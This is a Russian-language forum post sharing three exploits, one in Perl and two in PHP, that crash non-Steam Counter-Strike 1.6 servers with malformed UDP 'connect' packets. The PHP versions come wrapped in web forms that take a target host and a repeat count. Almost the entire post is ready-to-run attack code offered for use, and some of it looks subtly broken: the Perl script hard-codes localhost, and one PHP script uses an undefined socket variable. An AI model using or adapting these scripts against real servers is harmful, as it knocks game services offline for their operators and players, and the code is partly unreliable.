Скрипт для взлома серва CS 1.6

Trazz · 08.04.2011, 17:17

пы.сы. если на серве новые патчи, хлдс шаелд или ето стим - не прокатит
сплоит на перле:

Код:

#!/usr/bin/perl
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];
if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;
sub econnect($)
{
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>"127.0.0.1",PeerPort=>'27015',Proto=>'udp');
        die "Could not create socket: $!\n" unless $sock;
        $cmd="\xff\xff\xff\xff";
        syswrite $sock, $cmd."getchallenge";
        sysread $sock,$b,65535;  print $b,"\n";
        @c=split(/ /,$b);
        $c2=$c[1];
        $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a362  58af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

сплоит на пхп (от гемоглабина):

Код:

----[  Counter Strike 1.6 Denial Of Service POC ... ITDefence.ru Antichat.ru ]
                            Counter Strike 1.6 Denial Of Service POC
                                Eugene Minaev [Ссылки могут видеть только зарегистрированные пользователи. ]
                            Bug was found by Maxim Suhanov ( THE FUF )
                                works only with no-steam servers
                ___________________________________________________________________
            ____/  __ __ _______________________ _______  _______________    \  \   \
            / .\  /  /_// //              /        \       \/      __       \   /__/   /
            / /     /_//              /\        /       /      /         /     /___/
            \/        /              / /       /       /\     /         /         /
            /        /               \/       /       / /    /         /__       //\
            \       /    ____________/       /        \/    __________// /__    // /   
            /\\      \_______/        \________________/____/  2007    /_//_/   // //\
            \ \\                                                               // // /
            .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
            . \_\\________[________________________________________]_________//_//_/ . .
        
        <html>
        <head>
        <title>Counter Strike DOS POC ([Ссылки могут видеть только зарегистрированные пользователи. ]) </title>
        <style type="text/css">
        input {
        width: 150px;
        }
        td {
        font-size: 12px;
        font-family: Verdana, "Trebuchet MS";
        text-align: left;
        }
        span.err {
        color: red;
        }
        span.ok {
        color: green;
        }
        </style>
        </head>
        <bоdу оnlоаd="checkpass()">
        <div style="width: 210px; margin: auto;">
        <form name="csform" method="post" action="cs.php">
        <table border="1" align="center" cellpadding="2" cellspacing="0" style="width: 100%;">
        <tr>
        <td style="width: 50px;">Host</td>
        <td colspan="2"><input name="host" type="text" value=""/></td>
        </tr>
        <tr>
        <td>Port</td>
        <td colspan="2"><input name="port" type="text" value=""/></td>
        </tr>
        <tr>
        <td> </td>
        <td><input name="auth" type="checkbox" value="" style="width: 30px;"/></td>
        <td>Auth Type 2</td>
        </tr>
        <tr>
        <td>Pass</td>
        <td colspan="2"><input name="pass" type="text" value="" /></td>
        </tr>
        <tr>
        <td> </td>
        <td colspan="2"><input type="submit" Value="Run"/></td>
        </tr>
        </table> 
        <br/>
        </form>
        </div>
        <center>ITDEFENCE / RUSSIA (http://itdefence.ru)<br>
        </bоdу>
        </html>
        <?php
        /*
        CS-dos exploit made by underwater 
        Bug was discovered by .FUF  
        Big respect 2 Sax-mmS ( for html ) , Focs ( for his cs server  ) , SkvoznoY , Bug(O)R,Antichat.ru and Cup.su
        */
        ini_set("display_errors","0");
        function HELLO_PACKET()
        {
        $packet = pack("H*","FFFFFFFF");
        $packet .= "TSource Engine Query";
        $packet .= pack("H*","00");
        return $packet;
        }
        function CHALLENGE_PACKET()
        {
        $packet = pack("H*","FFFFFFFF");
        $packet .= "getchallenge valve";
        $packet .= pack("H*","00");
        return $packet;
        }
        function LOGIN_PACKET_4()
        {
        global $cookie;
        global $password;
        $packet = pack("H*","FFFFFFFF");
        $packet .= "connect 47 ";
        $packet .= $cookie.' "';
        $packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
        $packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updаtеrate\30\mod';
        $packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
        $packet .= 'word\\'.$password;
        $packet .= pack("H*","220A0000EE02");
        return $packet;
        }
        function LOGIN_PACKET_2()
        {
        global $cookie;
        global $password;
        $packet = pack("H*","FFFFFFFF");
        $packet .= "connect 47 ";
        $packet .= $cookie.' "';
        $packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
        $packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updаtеrate\30\model\gordon\nam';
        $packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
        $packet .= 'word\\'.$password;
        $packet .= pack("H*","22");
        return $packet;
        }
        function dowork($host,$port,$password,$auth)
        {
        global $password;
        global $cookie;
        # connecting to target host
        $fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
        if (!$fsock) die ($errstr);
        else 
        {
        # sending hello packet
        fwrite ($fsock,HELLO_PACKET());
        fread ($fsock,100);
        # sending chalennge packet
        fwrite ($fsock,CHALLENGE_PACKET());
        # recieving cookies
        $resp = fread($fsock,100);
        # grab cookies from packet
        $cookie = substr($resp,strpos($resp,"A00000000")+10);
        $cookie = substr($cookie,0,strpos($cookie," "));
        # sending login packet
        if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
        $resp = fread($fsock,100);
        }
        }
        IF (isset($_POST['host']) && isset($_POST['port']))
        {
        IF (empty($_POST['pass'])) $password = "123";
        else $password = $_POST['pass'];
        $fserver = $_POST['host'];
        $fport = $_POST['port'];
        if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
        # we have to connect 2 times
        $result = dowork($fserver,$fport,$password,$fauth);
        $result = dowork($fserver,$fport,$password,$fauth);
        # parsing result
        echo "Exploit Sent";
        }
        ?>
----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

еще один сплоит на пхп:

Код:

<? 
error_reporting(0); 
ini_set("max_execution_time",0); 
ini_set("default_socket_timeout", 5); 
ob_implicit_flush (1); 
echo'<html><head><title> ******* CS 1.6 DDOS ************** 
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 
<style type="text/css"> bоdу {background-color:#111111;   SCROLLBAR-ARROW-COLOR: 
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img 
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030 
!important} option {  background-color:   #303030   !important}         textarea 
{background-color: #303030 !important} input {color: #1CB081 !important}  option 
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox 
{background-color: #303030 !important} select {font-weight: normal;       color: 
#1CB081;  background-color:  #303030;}  bоdу  {font-size:  8pt       !important; 
background-color:   #111111;   bоdу * {font-size: 8pt !important} h1 {font-size: 
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em 
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em 
!important}    h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em 
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: 
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited 
{ text-decoration: none; color : #99aa33; } a:hover{text-decoration: underline; 
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; 
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif; 
font-weight:bold; font-style: italic;}--></style></head><bоdу><p class="Stile6"> 
******* CS 1.6 DDOS PORTED TO PHP BY SYSGHOST ************ </p><p class="Stile6"> 
Visit our homepage <a href="hTTp://Romania.HackTECK.BE"target="_blank"> 
hTTp://Romania.HackTECK.BE</a> </p> <table  width="84%"><tr><td width="43%"> 
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input type="text" name="host">  <span class="Stile5">* ip (ex: 
127.0.0.1 ) </span></p><p><input type="text" name="time">       <span 
class="Stile5"> * de cate ori</span></p>  <p>  <input   type="submit" name="Submit" 
value="HeadShot"></p></form></td></tr></table></bоdу></html>'; 
print "Made after Rgod's exploit template the best i could find greetz."; 
function show($headeri) 
{ 
$ii=0;$ji=0;$ki=0;$ci=0; 
echo '<table border="0"><tr>'; 
while ($ii <= strlen($headeri)-1){ 
   $dAtAi=dechex(ord($headeri[$ii])); 
   if ($ji==16) { 
     $ji=0; 
     $ci++; 
     echo "<td>  </td>"; 
     for ($li=0; $li<=15; $li++) { 
       echo "<td>".htmlentities($headeri[$li+$ki])."</td>"; 
     } 
     $ki=$ki+16; 
     echo "</tr><tr>"; 
   } 
   if (strlen($dAtAi)==1) { 
     echo "<td>0".htmlentities($dAtAi)."</td>"; 
   } 
   else { 
     echo "<td>".htmlentities($dAtAi)."</td> "; 
   } 
   $ii++;$ji++; 
} 
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { 
   echo "<td>  </td>"; 
} 
for ($li=$ci*16; $li<=strlen($headeri); $li++) { 
   echo "<td>".htmlentities($headeri[$li])."</td>"; 
} 
echo "</tr></table>"; 
} 
function doit($host){ 
  $socket = socket_create(AF_INET, SOCK_RAW, 2); 
  socket_connect($sock,$host, 27015); 
  $string="\xff\xff\xff\xffgetchallenge"; 
  print "Sending..."; 
  print show($string); 
  socket_write($socket, $string); 
  $trimis = socket_read($socket, 65535); 
  print "Response:<br>"; 
  print $trimis; 
  print "---------------------------------------------------------------------------------"; 
  show($trimis); 
  $bucati = explode(" ", $trimis); 
  echo $bucati[0]; 
  $end = '"\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\"'; 
  $string="\xff\xff\xff\xffconnect 47 ".$bucati[0].$end; 
  print "Sending..."; 
  show($string); 
  print "serverul ar trebui sa fie jos...."; 
  socket_write($socket, $string); 
  sleep(3); 
  socket_close($socket); 
  print "<center><img src='http://systemghost.as.ro/logo.jpg'></center>"; 
} 
if(!isset($_POST['host'])) { 
  die("."); 
} 
$host = $_POST['host']; 
$time = $_POST['time'] -1; 
while ( $time >= 0 ) { 
doit($host); 
$time = $time - 1; 
}
?>

сам не побывал, так как не понял ,может кто то поймет и объяснит всем! =)